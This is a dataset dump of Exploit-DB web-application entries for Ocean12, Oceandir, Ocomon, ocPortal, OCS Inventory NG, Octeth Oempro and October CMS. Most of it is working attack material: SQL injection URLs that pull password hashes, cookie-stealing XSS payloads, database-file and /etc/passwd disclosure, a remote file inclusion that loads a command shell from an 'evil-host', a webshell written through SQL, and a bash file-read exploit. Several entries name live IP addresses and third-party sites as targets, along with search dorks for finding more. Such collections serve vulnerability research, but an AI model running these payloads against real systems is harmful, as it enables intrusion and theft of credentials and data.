deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7244
Description: Ocean12 Contact Manager Pro - SQL Injection / Cross-Site Scripting / File Disclosure
Type: webapps
Platform: php
Date: 2008-11-27
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Ocean12 Contact Manager Pro
Version : 1.02
Vendor : http://ocean12tech.com/products/contact
Dork: Maintained with the Ocean12 Contact Manager Pro v1.02
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DDV,XSS,SQL)
---------------------------------------------------------
#########################################################
[SQL]:
http://site.com/path/default.asp?DisplayFormat=Card&Sort=[SQL]
 
[Database Disclosure Vulnerability]:
http://site.com/path/o12con.mdb
 
[XSS]:
http://site.com/path/?DisplayFormat=>"><ScRiPt>alert(1369)%3B</ScRiPt>&Action=Pouya_Server
---------------------------------
Victem :
http://ocean12tech.com/products/contact/demo

# milw0rm.com [2008-11-27]
Exploit-DB #7271
Description: Ocean12 FAQ Manager Pro - 'ID' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-28
Author: Stack

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Ocean12 FAQ Manager Pro
Author : Mountassif Moad
 Evil Finger / v4 Team
Vulnerability : Blind Sql Injection
---------------------------------------------------------
#########################################################
Exploit :
site.com/?Action=Cat&ID=40%20and%201=1 true
site.com/?Action=Cat&ID=40%20and%201=0 false
Demo :
http://ocean12tech.com/products/faq/demo/?Action=Cat&ID=40%20and%201=1 true
http://ocean12tech.com/products/faq/demo/?Action=Cat&ID=40%20and%201=0 false

# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...

# milw0rm.com [2008-11-28]
Exploit-DB #7258
Description: Ocean12 FAQ Manager Pro - Database Disclosure
Type: webapps
Platform: php
Date: 2008-11-27
Author: Stack

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Ocean12 FAQ Manager Pro
Author : Mountassif Moad
 Evil Finger / v4 Team
Vulnerability : Database Disclosure Vulnerability
---------------------------------------------------------
#########################################################
XPL :
http://site.com/path//admin/o12faq.mdb
Demo :
http://ocean12tech.com/products/faq/demo/
http://ocean12tech.com/products/faq/demo/admin/o12faq.mdb

# milw0rm.com [2008-11-27]
Exploit-DB #7319
Description: Ocean12 Mailing List Manager Gold - File Disclosure / SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-02
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Ocean12 Mailing List Manager Gold
Vendor : http://ocean12tech.com/products/o12mailgold
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD,SQL,XSS)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/o12mail.mdb
[SQL]:
http://site.com/[Path]/s_edit.asp?email=[SQL]
http://site.com/[Path]/default.asp?Page=2&Email='[SQL]
[XSS]:
http://site.com/[Path]/default.asp?Error=Pouya_Server&Name=&Email=Pouya.s3rver@gmail.com"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>

---------------------------------
Victem :
http://ocean12tech.com/products/o12mailgold/demo

# milw0rm.com [2008-12-02]
Exploit-DB #25354
Description: Ocean12 Membership Manager Pro - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-06
Author: Zinho

Exploit:
source: https://www.securityfocus.com/bid/13046/info

Ocean12 Membership Manager Pro is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/main.asp?UserID=2&page=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cfont%20color=%22&Sort=Name&DisplayNumber=10
Exploit-DB #7245
Description: Ocean12 Membership Manager Pro - Database Disclosure
Type: webapps
Platform: php
Date: 2008-11-27
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Ocean12 Membership Manager Pro
Vendor : http://ocean12tech.com/products/membership
Dork: Â©2005 Ocean12 Technologies. All rights reserved
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : Database Disclosure Vulnerability
---------------------------------------------------------
#########################################################
http://ocean12tech.com/path/o12member.mdb
---------------------------------
Victem :
http://ocean12tech.com/products/membership/demo

# milw0rm.com [2008-11-27]
Exploit-DB #7246
Description: Ocean12 Poll Manager Pro - Database Disclosure
Type: webapps
Platform: php
Date: 2008-11-27
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Ocean12 Poll Manager Pro
Version: 1.00
Vendor : http://ocean12tech.com/products/poll
Dork: Maintained with the Ocean12 Poll Manager Pro v1.00
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : Database Disclosure Vulnerability
---------------------------------------------------------
#########################################################
http://site.com/path/o12poll.mdb

---------------------------------
Victem :
http://ocean12tech.com/products/poll/demo

# milw0rm.com [2008-11-27]
Exploit-DB #6504
Description: Oceandir 2.9 - 'show_vote.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-20
Author: JEEN HACKER TEAM

Exploit:
/**
 * @title Oceandir <= 2.9 (show_vote.php id) Remote SQL injection
 * @author JEEN HACKER TEAM [ Jeen + Secertry ]
 * @cost 250$ 
 * @script http://www.oceandir.com
 * @copyright 2008
 * @homepage http://www.hackteach.org/cc/teach.php
 * @email SVN@HOTMAIL.COM , CPY@HOTMAIL.COM
 */

Exploit :
~user
http://www.site.com/dir/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users
~passwd
http://www.site.com/dir/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users

Example :
####
http://www.dir.qatarw.com/show_vote.php?id=-1+union+select+user_id,fname,3,4+from+users
http://www.dir.qatarw.com/show_vote.php?id=-1+union+select+1,hashed_pw,3,4+from+users
####

Greetz : www.hackteach.org user's

# milw0rm.com [2008-09-20]
Exploit-DB #40285
Description: Ocomon 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2016-08-22
Author: Jonatas Fil

Exploit:
# Exploit Title: Ocomon 2.0: Acess administrative Bypass / Multiple Sql
Injection
# Google Dork: inurl:ocomon/index.php or intitle:Ocomon 2.0-RC6
# Date: 2016.08.18
# Exploit Author: Jonatas Fil a.k.a pwx
# Vendor Homepage: ninj4c0d3r.github.io
# Version: Latest 2.0RC6
# Tested on: Linux And Windows
# CVE : CVE-2005-4664


\xDetails:
========================================
[Software]
- Ocomon

[Bug Summary]
- Multiple SQL Injection (SQLi)

[Impact]
- High

[Affected Version]
- Latest 2.0RC6
- Prior versions may also be affected
=========================================



\x01- Search by dork in google

Dorks:
inurl:ocomon/index.php or intitle:Ocomon 2.0-RC6


\x02 - After, To find the victim, open the inspect element in admin page.

\x03 - Look for the parameter: <body>: <table>: <tbody>: <tr>, and return
valida() and delete the content, leaving blank.

\x04 - After, Sign in using: "admin'or'" For Username and Password.

\x05 - Finish!, You get acess in administrative page to the system.


--------------------------------------------
\xDEMO:

http://200.66.111.38/ocomon/index.php
http://191.241.229.210:8080/ocomon/index.php
http://191.241.229.210:8081/ocomon/index.php
---------------------------------------------

References:

https://packetstormsecurity.com/files/100568/Ocomon-2.0RC6-SQL-Injection.html
http://www.cvedetails.com/cve/CVE-2005-4664/
https://www.securityfocus.com/bid/15386/exploit
Exploit-DB #574
Description: ocPortal 1.0.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-10-13
Author: Exoduks

Exploit:
http://localhost/ocp-103/index.php?req_path=http ://evil-host/



On your evil host you must put scipt funcs.php.

Example of funcs.php if your host doesn't support php.



   <?php

     $com = $_GET["com"];

     system ("$com");

   ?>



  Example of funcs.php if your host support php.



   <?php

     echo '<?php $com = $_GET["com"]; system ("$com"); ?>';

   ?>



  http://localhost/ocp-103/index.php?req_path=http://evil-host/&com=ls


# milw0rm.com [2004-10-13]
Exploit-DB #37022
Description: ocPortal 7.1.5 - 'code_editor.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-28
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/52768/info

ocPortal is prone to multiple cross-site scripting vulnerabilities and an arbitrary file-disclosure vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and obtain sensitive information.

ocPortal versions prior to 7.1.6 are vulnerable. 

http://www.example.com/code_editor.php?path=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/code_editor.php?path&line=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/site/catalogue_file.php?original_filename=1.txt&file=%252e%252e%252f%252e%252e%252finfo.php
Exploit-DB #37544
Description: ocPortal 7.1.5 - 'redirect' Open Redirection
Type: webapps
Platform: php
Date: 2012-07-29
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/54715/info

ocPortal is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Versions prior to ocPortal 7.1.6 are vulnerable. 

http://www.example.com/ocportal/index.php?page=login&type=misc&redirect=http://example1.com
Exploit-DB #8836
Description: OCS Inventory NG 1.02 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-06-01
Author: Nico Leidecker

Exploit:
OCS Inventory NG - Multiple SQL Injections (May 30 2009)
_______________________________________________________________________________


* Product

  Open Computer and Software (OCS) Inventory NG
  (http://www.ocsinventory-ng.org/)

* Vulnerable Versions

  OCS Inventory NG 1.02 (Unix)


* Vendor Status

  Vendor has been notified and the vulnerability has been fixed.


* Details

  The Open Computer and Software (OCS) Inventory Next Generation (NG)
provides relevant inventory information about system configurations and
software on the network. The server can be managed using a web
interface. It was found that the application does not properly sanitize
user input which results into multiple SQL injections.

  Affected are the following scripts:

  - download.php (parameters `N', `DL', `O' and `V')
  - group_show.php (parameter `SYSTEMID');

* Impact

  Attackers may be able to manipulate SQL statements in such a way that
they can retrieve, create or modify information stored in the database.
Furthermore, the SQL injection might allow attackers to get a foothold
on the underlying system.

* Exploit

  The vulnerability can be exploited by just using a web browser:

	http://example.org/ocsreports/download.php?n=1&dl=2&o=3&v=4'union+all+select+concat(id,':',passwd)+from+operators%23

# milw0rm.com [2009-06-01]
Exploit-DB #8868
Description: OCS Inventory NG 1.02 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2009-06-03
Author: Nico Leidecker

Exploit:
OCS Inventory NG - Directory Traversal  (May 30 2009)
_______________________________________________________________________________


* Product

  Open Computer and Software (OCS) Inventory NG
  (http://www.ocsinventory-ng.org)


* Vulnerable Versions

  OCS Inventory NG 1.02 (Unix)


* Vendor Status

  Vendor has been notified and the vulnerability has been fixed in
version 1.02.1.


* Details

  The Open Computer and Software (OCS) Inventory Next Generation (NG)
provides relevant inventory information about system configurations and
software on the network. The server can be managed using a web
interface. It is possible for unauthenticated users to extract arbitrary
files from the hosting system due to inadequate file handling in cvs.php.

  cvs.php:

		} elseif (isset($_GET['log'])){
			if (file_exists($_GET['rep'].$_GET['log'])){
				$tab = file($_GET['rep'].$_GET['log']);
				while(list($cle,$val) = each($tab)) {
		 		  $toBeWritten  .= $val."\r\n";
				}
				$filename=$_GET['log'];
			}
		}


* Impact

  Attackers may be able to read arbitrary files from the hosting system.


* Exploit

  The vulnerability can be exploited by just using a web browser:

	http://example.org/ocsreports/cvs.php?log=/etc/passwd

# milw0rm.com [2009-06-03]
Exploit-DB #9416
Description: OCS Inventory NG 1.2.1 - 'systemid' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-11
Author: Guilherme Marinheiro

Exploit:
OCS Inventory NG Server 1.2.1

Details:

The Open Computer and Software (OCS) Inventory Next Generation (NG)
provides relevant inventory information about system configurations and
software on the network.

 Download : http://www.ocsinventory-ng.org/index.php?page=1-02-1
 Found by : Guilherme Marinheiro                 
 Contact : gmcbr0@gmail.com                      
 Prequisite: Authenticated user                 
 Remote exploitable:Yes (Authentication is needed)         

PoC :
http://localhost/ocsreports/machine.php?systemid=1)%20union%20select%201,2,user(),3,5,6,7,8,9,10,11,12,passwd,14,15,16,17,18,id,20,21,22,23,24,25,26,27,27,version()%20from%20operators%20--

Vulnerable Code:

script: machine.php

77 $queryMachine    = "SELECT * FROM hardware WHERE (ID=$systemid)";
78 $result   = mysql_query( $queryMachine, $_SESSION["readServer"] ) or mysql_error($_SESSION["readServer"]);
79 $item     = mysql_fetch_object($result);

# milw0rm.com [2009-08-11]
Exploit-DB #39458
Description: OCS Inventory NG 2.2 - SQL Injection
Type: webapps
Platform: php
Date: 2016-02-17
Author: Ephreet

Exploit:
# Exploit Title: OCS Inventory NG <= 2.2 - Search with various criteria SQL Injection and Code execution
# Date: 17-02-2016
# Exploit Author: Ephreet
# Software Link: http://www.ocsinventory-ng.org/en/download/
# Version: <=2.2
# Category: webapps
# Tested on: Debian 3.2.73-2+deb7u2 (MySQL 5.5.47-0+deb7u1, Apache/2.2.22), CentOS 6/7


1. Description

Custom search allows for SQL Injection, while default configuration allows for file write as MySQL user.
Search field fails to escape MySQL special characters, allowing file creation and code execution.

If permissions are not carefully set, one could write to web/crontab folders.

Infrustructure note: this was tested on a single machine, but still applies to multiple servers environments, affecting the DB host.


2. Proof of Concept

At least a low priv user must be logged and access the search function on http://<server>/ocsreports/index.php?function=visu_search

- Time-based SQL Injection
Choose a parameter, use EXACTLY operator:
')) union select sleep(5); #

- Code execution
Bypass input escape and write to filesystem (webshell PoC):
')) union select CONCAT(char(60),char(63),'php echo exec($_GET[',char(39),'cmd',char(39),']);',char(63),char(62)) into outfile '/usr/share/ocsinventory-reports/ocsreports/plugins/main_sections/conf/shell.php'; #


3. Solution

Run MySQL/Apache services as restricted user.
Restrict file write permissions to ocs DB user.
Watch out for weak permissions on /usr/share/ocsinventory-reports/ocsreports/plugins/main_sections/conf/ (it is often set to full write by inexperienced admins).
Exploit-DB #32656
Description: Octeth Oempro 3.5.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-12-01
Author: security curmudgeon

Exploit:
source: https://www.securityfocus.com/bid/32784/info

Octeth Oempro is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Octeth Oempro 3.5.5.1 is vulnerable; other versions may also be affected.

The following example input data is available:

Email: ' or 0=0 #
[CREDENTIAL_REDACTED]
Exploit-DB #35311
Description: Octeth Oempro 3.6.4 - SQL Injection / Information Disclosure
Type: webapps
Platform: php
Date: 2011-02-03
Author: Ignacio Garrido

Exploit:
source: https://www.securityfocus.com/bid/46135/info

Octeth Oempro is prone to multiple SQL-injection vulnerabilities and an information-disclosure vulnerability.

Exploiting these issues could allow an attacker to obtain sensitive information, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Octeth Oempro 3.6.4 is vulnerable; other versions may also be affected. 

http://www.example.com/cli_bounce.php

http://www.example.com/link.php?URL=[ENC URL]&Name=&EncryptedMemberID=[ENCODED
SQLI]&CampaignID=9&CampaignStatisticsID=16&Demo=0&Email=[MAIL]

http://www.example.com/html_version.php?ECID=[SQL]

http://www.example.com/archive.php?ArchiveID=[SQL]
Exploit-DB #47967
Description: Octeth Oempro 4.8 - 'CampaignID' SQL Injection
Type: webapps
Platform: php
Date: 2020-01-28
Author: Bruno de Barros Bulle

Exploit:
# Exploit Title: Octeth Oempro 4.8 - 'CampaignID' SQL Injection
# Date: 2020-01-27
# Exploit Author: Bruno de Barros Bulle (www.xlabs.com.br)
# Vendor Homepage: www2.octeth.com
# Version: Octeth Oempro v.4.7 and v.4.8
# Tested on: Oempro v.4.7
# CVE : CVE-2019-19740


An authenticated user can easily exploit this vulnerability. Octeth Oempro
4.7 and 4.8 allow SQL injection. The parameter CampaignID in Campaign.Get
is vulnerable.

# Error condition
POST /api.php HTTP/1.1
Host: 127.0.0.1

command=Campaign.Get&CampaignID=2019'&responseformat=JSON

# SQL Injection exploitation
POST /api.php HTTP/1.1
Host: 127.0.0.1

command=Campaign.Get&CampaignID=2019 OR '1=1&responseformat=JSON
Exploit-DB #44144
Description: October CMS < 1.0.431 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-02-19
Author: Samrat Das

Exploit:
​​# Exploit Title: October CMS Stored Code Injection
# Date: 16-02-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: *https://octobercms.com/ <https://octobercms.com/>*
# Version: All versions till date from 1.0.431
# CVE : CVE- 2018-7198
# Category: WebApp CMS

1. Description

The application source code is coded in a way which allows malicious
crafted HTML commands to be executed without input validation

2. Proof of Concept

1.  Visit the application
2.  Visit the Add posts page
3.  Goto edit function, add any html based payload and its gets stored and executed subsequently.

Proof of Concept

Steps to Reproduce:

1. Create any HTML based payload such as:

Username:<input type=text> <br>
Password: <input type=text> <br>
<button type="button">Login</button>

2. This hosted page with form action implemented upon clicked by user will lead to exfiltration of credentials apart from performing a host of other actions such as stored xss and another similiar attacks.



3. Solution:

Implement through input validation to reject unsafe html input.
Exploit-DB #49045
Description: October CMS Build 465 - Arbitrary File Read Exploit (Authenticated)
Type: webapps
Platform: php
Date: 2020-11-13
Author: Sivanesh Ashok

Exploit:
# Exploit Title: October CMS Build 465 - Arbitrary File Read Exploit (Authenticated)
# Date: 2020-03-31
# Exploit Author: Sivanesh Ashok
# Vendor Homepage: https://octobercms.com/
# Version: Build 465 and below
# Tested on: Windows 10 / XAMPP / October CMS Build 465
# CVE: CVE-2020-5295

echo '''
Authenticated arbitrary file read exploit for October CMS <= Build 465
Tested on: v1.0.45
'''

rm /tmp/ocms_* &> /dev/null

if [[ ! `command -v recode` ]]; then
	echo -e "[!] Missing package 'recode'\n[!] Install 'recode' using the respective command to resume\n\tsudo apt install recode\n\tsudo pacman -S recode\n\tyum install recode"
	echo -e "[*] Exiting!\n"
	exit 0
fi

read -p "[*] Enter target host (with http/https): " host
echo ""
read -p "[*] Enter your cookie value: " cookie

curl -s -X GET -H "Cookie: $cookie" "$host/backend/cms" > /tmp/ocms_gethtml

if [[ ! `awk '/<span class="nav-label">/,/<\/span>/' /tmp/ocms_gethtml | grep "Assets"` ]]; then
	echo -e "[-] Invalid cookie\n[-] Either the user does not have the privilege to modify assets or the cookie is invalid"
	echo -e "[*] Exiting!\n"
	exit 0
fi

echo '''
[!] Relative path to the target file is required.
	eg. config/database.php
	If you are unsure about the path, check OctoberCMS github which has the default file system hosted
	https://github.com/octobercms/october
'''

read -p "[*] Enter path to the target file: " targetfile
themename=`grep "data-item-theme" /tmp/ocms_gethtml -m 1 | awk -F'"' '{print $6}'`
csrftoken=`grep "csrf-token" /tmp/ocms_gethtml | awk -F'"' '{print $4}'`

curl -s -X POST -H "Cookie: $cookie" -H "X-CSRF-TOKEN: $csrftoken" -H "X-OCTOBER-REQUEST-HANDLER: onOpenTemplate" -H "X-Requested-With: XMLHttpRequest" -d "theme=$themename" -d "type=asset" -d "path=../../../$targetfile" "$host/backend/cms" > /tmp/ocms_jsonres

cat /tmp/ocms_jsonres | jq -r '.tab' 2> /dev/null | awk '/<textarea/,/<\/textarea>/' 2> /dev/null | recode html > /tmp/ocms_file 2> /dev/null

if [[ `cat /tmp/ocms_file` ]]; then
	cp /tmp/ocms_file ./october_extractedfile
	echo -e "\n[+] File saved as ./october_extractedfile!\n"
	exit 1
else
	echo -e "\n[-] Error extracting file. Check /tmp/ocms_jsonres for the server response. Exiting!\n"
	exit 0
fi
Exploit-DB #44546
Description: October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-26
Author: 0xB9

Exploit:
# Exploit Title: October CMS User Plugin v1.4.5 - Persistent Cross-Site Scripting
# Date: 2018-04-03
# Author: 0xB9
# Software Link: https://octobercms.com/plugin/rainlab-user
# Version: 1.4.5
# Tested on: Ubuntu 17.10
# CVE: CVE-2018-10366

#1. Description:
Front-end user management for October CMS. Allows visitors to create a website.

#2. Proof of Concept:

Persistent XSS
- Go to the account page localhost/OctoberCMS/account/
- Register & enter the following for your full name <p """><SCRIPT>alert("XSS")</SCRIPT>">
- You will be alerted everytime you visit the account page localhost/OctoberCMS/account/

#3. Solution:
Update to 1.4.6